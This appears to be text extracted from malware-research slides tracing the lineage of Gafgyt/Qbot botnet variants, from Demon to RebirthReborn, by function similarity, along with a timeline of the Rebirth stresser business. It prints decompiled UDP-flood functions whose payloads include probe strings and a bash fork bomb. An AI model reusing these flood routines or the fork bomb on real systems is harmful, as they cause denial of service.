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http://10.10.1.225:8088/
docs#/default/predict_pc
ap_endpoint_predict_pca
p_post/predict_pcap?poli
cy=any&min_k=1&thr_p
os=0.50&thr_app=0.70&
thr_est=0.25&thr_bidir=

0.95
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It’s not numerical, so similarity calculation is not possible
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Similar Vector Set

Different Vector

Function-Hash

Quantization Encoding

Each Functions has a numerical vector and an Function-Hash string created 
from the vector.
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N x M operations are required to find the identical function set

Function Vector 1

Function Vector 2

Function Vector 3

Function Vector N

New Function Vector 1

New Function Vector 2

New Function Vector 3

New Function Vector M

Function DB
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All Data Set Candidate Data Set
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Backdoor
Linux

Gafgyt 84.79%

Lineage analysis 
targets

Lineage Graph
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99%

Start Point: ‘x86’
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Function-level similarity based on F-Hash

Start Point: ‘x86’

Daemonization patterns in function prologues are consistent

Only the messages used for communication with the C2 server 
exhibit variations
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99%
100%

Start Point: ‘x86’

1
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99%
100%

1

2

98%
100%

2

3

ceoSocket,
Joined RebirthReborn As

RebirthSocket,
Joined Rebirth As

RebirthSocket,
Joined Rebirth As

RebirthSocket,
Joined Rebirth As
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97%
100%

3

4

95%
93.2%

4

5

RebirthSocket,
Joined Rebirth As

ceoSocket,
Joined RebirthReborn As

ceoSocket,
Joined RebirthReborn As Demonicsock,

Demon V5
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t

98%
22.1%

5

6

84%
100%

6

7

Demonicsock,
Demon V5

Demonicsock,
Demon V5

Demonicsock,
Demon V5

Demonicsock,
Demon V5

Backdoor.linux.gafgyt

Backdoor.linux.gafgyt
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75%
91.8%

7

8

Demonicsock,
Demon V5

mainCommSock,
Shelling

Backdoor.linux.gafgyt

Backdoor.linux.gafgyt

Source: Radware(2018), https://www.radware.com/blog/security/new-demonbot-discovered/
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2025-01-26
Rebirth Reborn

2025-01-14
Rebirth Reborn 

2021-01-17
Rebirth

2020-05-16
Rebirth

2024-03-24
Rebirth Rebor

n
2018-12-21
Demon v5

2019-03-12
Demon v5

2021-09-08
Demon v5

2018-10-24
Demon v1

‘x86’

Demon V5
Source: Pastebin(2019), https://pastebin.com/QE2GDrvS

Demon V1

Rebirth

Rebirth Reborn
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2025-01-26
Rebirth Reborn

2025-01-14
Rebirth Reborn 

2021-01-17
Rebirth

2020-05-16
Rebirth

2024-03-24
Rebirth Reborn

2018-12-21
Demon v5

2019-03-12
Demon v5

2021-09-08
Demon v5

2018-10-24
Demon v1

‘x86’

Demon v5 (2018) Rebirth (2020)Self Rep NeTiS @SelfRepNetis / Demon Rebirth

Demon v5 (2018) @Self Rep NeTiS
Rebirth (2025) selfrepneti
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2025-01-26
RebirthReborn

2025-01-14
RebirthReborn

2020-05-16
Rebirth

2021-01-17
Rebirth

2024-03-24
RebirthReborn

2018-12-21
Demon V5

2018-10-30
THANOS

2019-03-12
Demon V5

2021-09-08
Demon V5

2018-10-24
Demon V1

2017-12-15
Gafgyt-QBot

2022-04-11
ENEMYBOT V3.1

2025-03-05
Okami_Kaden1337

2021-09-07
Demon V5

2025-01-14
RebirthReborn

2024-03-24
RebirthReborn

2018-12-21
Demon v5

2025-01-26
RebirthReborn

2025-02-16
ORBIT

2021-08-12
Okami_Kaden1337

2025-01-14
BATMAN IV

2024-12-03
Sakura 

2024-03-24
RebirthReborn

2025-01-26
RebirthReborn

2024-03-24
RebirthReborn

2025-01-26
RebirthReborn

2025-01-21
RebirthReborn

2017-09-14
Qbot_xFyFa

2021-09-04
Demon V1

2024-05-04
RyMGang

2019-01-13
Extruded

2022-04-12
ENEMYBOT V3.1

2022-04-11
ENEMYBOT V3.1

2025-01-26
RebirthReborn

2024-03-24
RebirthReborn

2021-09-11
Bootz IV

2021-08-26
[cpuset]

RebirthReborn’s Family

Well-known Gafgyt/Qbot Variant

Unknown Gafgyt/Qbot Variant

Well-known Gafgyt/ Mirai Variant

Start Point: ‘x86’
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[Rebirth Reborn, Rebirth Reborn] Similarity Score = 1

[Rebirth Reborn, Rebirth]               Similarity Score = 1

[Rebirth Reborn, Demon v5]          Similarity Score = 0.9316

[Demon v5, Demon v1]                   Similarity Score = 0.9178

Similarity of the Main function

Rebirth Reborn: "[%s] Joined RebirthReborn As [%s]"

Rebirth: "[%s] Joined Rebirth As [%s]"

Demon v5: "Demon[V5.0]-->[%s]-->[%s]-->[%s]-->[%s]"

Demon v1: "[Shelling]-->[%s]-->[%s]-->[%s]-->[%s]-->[%s]"

Similarity in the initial C2 communication Similarity of attack commands

[Rebirth Reborn, Rebirth Reborn] Similarity Score = 1

[Rebirth Reborn, Rebirth]               Similarity Score = 1

[Rebirth Reborn, Demon v5]          Similarity Score = 0.651

[Demon v5, Demon v1]                   Similarity Score = 0.2368

Evolution of the Cncinput function

Rebirth Reborn Rebirth Demon v5 Demon v1
UDP UDP UDP UDP

TCP TCP TCP TCP

HEX HEX HEX STD

VSE VSE VSE/OVH CNC

XMAS XMAS SERV STOMP

STOP STOP STOP STOP
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http://10.10.1.225:80
88/docs#/default/pre
dict_pcap_endpoint_
predict_pcap_post/p
redict_pcap?policy=
any&min_k=1&thr_p
os=0.50&thr_app=0.
70&thr_est=0.25&thr

_bidir=0.95

void astd(char *param_1, …)
{
…
local_24 = socket(2,2,0);
local_20 = time((time_t *)0x0);
local_18 = gethostbyname(param_1);
bzero(&local_38,0x10);
bcopy(*local_18->h_addr_list,local_38.sa_data + 2,(long)local_18->h_length);
local_38.sa_family = (sa_family_t)local_18->h_addrtype;
local_c = 0;
local_38.sa_data._0_2_ = param_2;
do {
local_48[0] = 
"/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/

xID/x9A/x38/xFJ/x93/xI D/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xF
J/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x9 3/xID/x9A/x38/xFJ/x93/xID/x9A/x
38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xF J/x93/xID/
x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93
/xID/x9A/x3 8/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xF
J/x93/xID/x9A/x38/xFJ/x93/xID/x9 A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x
38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xI D/x9A/x38/xFJ/x93/xID/
x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x9 
3/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/x
FJ/x93/xID/x9A/x38/xF J/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/
x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x3 8/xFJ/x93/xID/x9A/x38/xFJ/x93/xID
/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9 A/x38/xFJ/x9
3/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A"

;
if (0x31 < local_c) {
send(local_24,local_48,0x5b4,0);
connect(local_24,&local_38,0x10);
tVar1 = time((time_t *)0x0);
if (param_3 + local_20 <= tVar1) {
close(local_24);

_exit(0);
}
local_c = 0;

}
local_c = local_c + 1;

} while( true );
}

void astd(char *param_1, …)
{
…

local_24 = socket(2,2,0);
local_20 = time((time_t *)0x0);
local_18 = gethostbyname(param_1);
bzero(&local_38,0x10);
bcopy(*local_18->h_addr_list,local_38.sa_data + 

2,(long)local_18->h_length);
local_38.sa_family = (sa_family_t)local_18->h_addrtype;
local_c = 0;
local_38.sa_data._0_2_ = param_2;

do {
local_48[0] = "vqMWPAG\x02gLEKLG\x02sWGP[\"";

if (0x31 < local_c) {
send(local_24,local_48,(long)param_4,0);
connect(local_24,&local_38,0x10);
tVar1 = time((time_t *)0x0);
if (param_3 + local_20 <= tVar1) {

close(local_24);
_exit(0);

}
local_c = 0;

}
local_c = local_c + 1;

} while( true );
}

void astd(char *param_1, …)
{
…
local_34 = socket(2,2,0);
local_30 = time((time_t *)0x0);
local_28 = gethostbyname(param_1);
bzero(&local_48,0x10);
bcopy(*local_28->h_addr_list,local_48.sa_data + 2,(long)local_28->h_length);
local_48.sa_family = (sa_family_t)local_28->h_addrtype;
local_1c = 0;
local_48.sa_data._0_2_ = param_2;

do {
local_98[0] = s_e_0040cb45;
local_98[1] = "";
local_98[2] = "";
local_98[3] = s_%_,_8_9_:_F_M_x_y_0040cb68;
local_78 = "\x14";
local_70 = "{\"method\":\"DHDiscover.search\"}";
local_68 = &DAT_0040cbcf;
local_60 = "<trt:GetProfiles />";
local_58 = 

"d1:ad2:id20:abcdefghij01234567896:target20:mnopqrstuvwxyz123456e1:q9:fin
d_node1:t1:a1:y1:qe";

local_50 = &DAT_0040cc5c;

if (0x31 < local_1c) {
iVar1 = rand();
send(local_34,local_98[iVar1 % 7],(long)param_4,0);
connect(local_34,&local_48,0x10);
tVar2 = time((time_t *)0x0);
if (param_3 + local_30 <= tVar2) {
close(local_34);

_exit(0);
}
local_1c = 0;

}
local_1c = local_1c + 1;

} while( true );
}

void astd(char *param_1, …)
{
…
local_34 = socket(2,2,0);
local_30 = time((time_t *)0x0);
local_28 = gethostbyname(param_1);
bzero(&local_48,0x10);
bcopy(*local_28->h_addr_list,local_48.sa_data + 2,(long)local_28-

>h_length);
local_48.sa_family = (sa_family_t)local_28->h_addrtype;
local_1c = 0;
local_48.sa_data._0_2_ = param_2;

do {
local_98[0] = ":(){ :|:& };:\n";
local_98[1] = ":(){ :|:& };:\n";
local_98[2] = ":(){ :|:& };:\n";
local_98[3] = ":(){ :|:& };:\n";
local_78 = ":(){ :|:& };:\n";
local_70 = ":(){ :|:& };:\n";
local_68 = ":(){ :|:& };:\n";
local_60 = ":(){ :|:& };:\n";
local_58 = ":(){ :|:& };:\n";

if (0x31 < local_1c) {
iVar1 = rand();
send(local_34,local_98[iVar1 % 7],(long)param_4,0);
connect(local_34,&local_48,0x10);
tVar2 = time((time_t *)0x0);
if (param_3 + local_30 <= tVar2) {
close(local_34);

_exit(0);
}
local_1c = 0;

}
local_1c = local_1c + 1;

} while( true );
}

Random strings 

Randomized exploit 
patterns Bash fork-bomb 

string
Dummy patterns
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2021.
05.27

2021.
06.17

2021.
06.28

2022.
02.15Initiation of Rebirth Hub operations by netis, tcp, and thisity

First submission of a Demon v1 sample to VirusTotal

First submission of a Demon v5 sample to VirusTotal

2018 
(Presumed)

2018.
10.24

2018.
12.31

2019.
01.26

2020.
05.16

Upload of Demon v5 source code to Pastebin

First submission of a “Joined Rebirth As” sample to VirusTotal Launch of Rebirth Stresser Hub sales post, distributed via Discord

Creation of the Rebirth channel (t.me/rebirthreborn)

Publication of an introductory video for RebirthReborn & RebirthVPN on YouTube

Creation of the Rebirth Chat group (t.me/rebirthrebornchat)
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2023.
03.27

2023.
08.10

2025 
(Presumed)

2022.
09.15

2022.
09.25

2023.
01.21

2022.
04.09

Release of a reseller recruitment 
video on YouTube

Onset of service outages, 
accompanied by increasing 

user complaints

Announcement of full source 
code sale for Rebirth

Redirection of Rebirth Chat 
group members to Cash’s 

personal channel

Activation of Cash’s personal 
channel, rebranded as “Eternal 
Stresser”

Promotion of 
Eternal Stresser sales

Deletion of Telegram 
accounts and channels
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rebirthstresser.com
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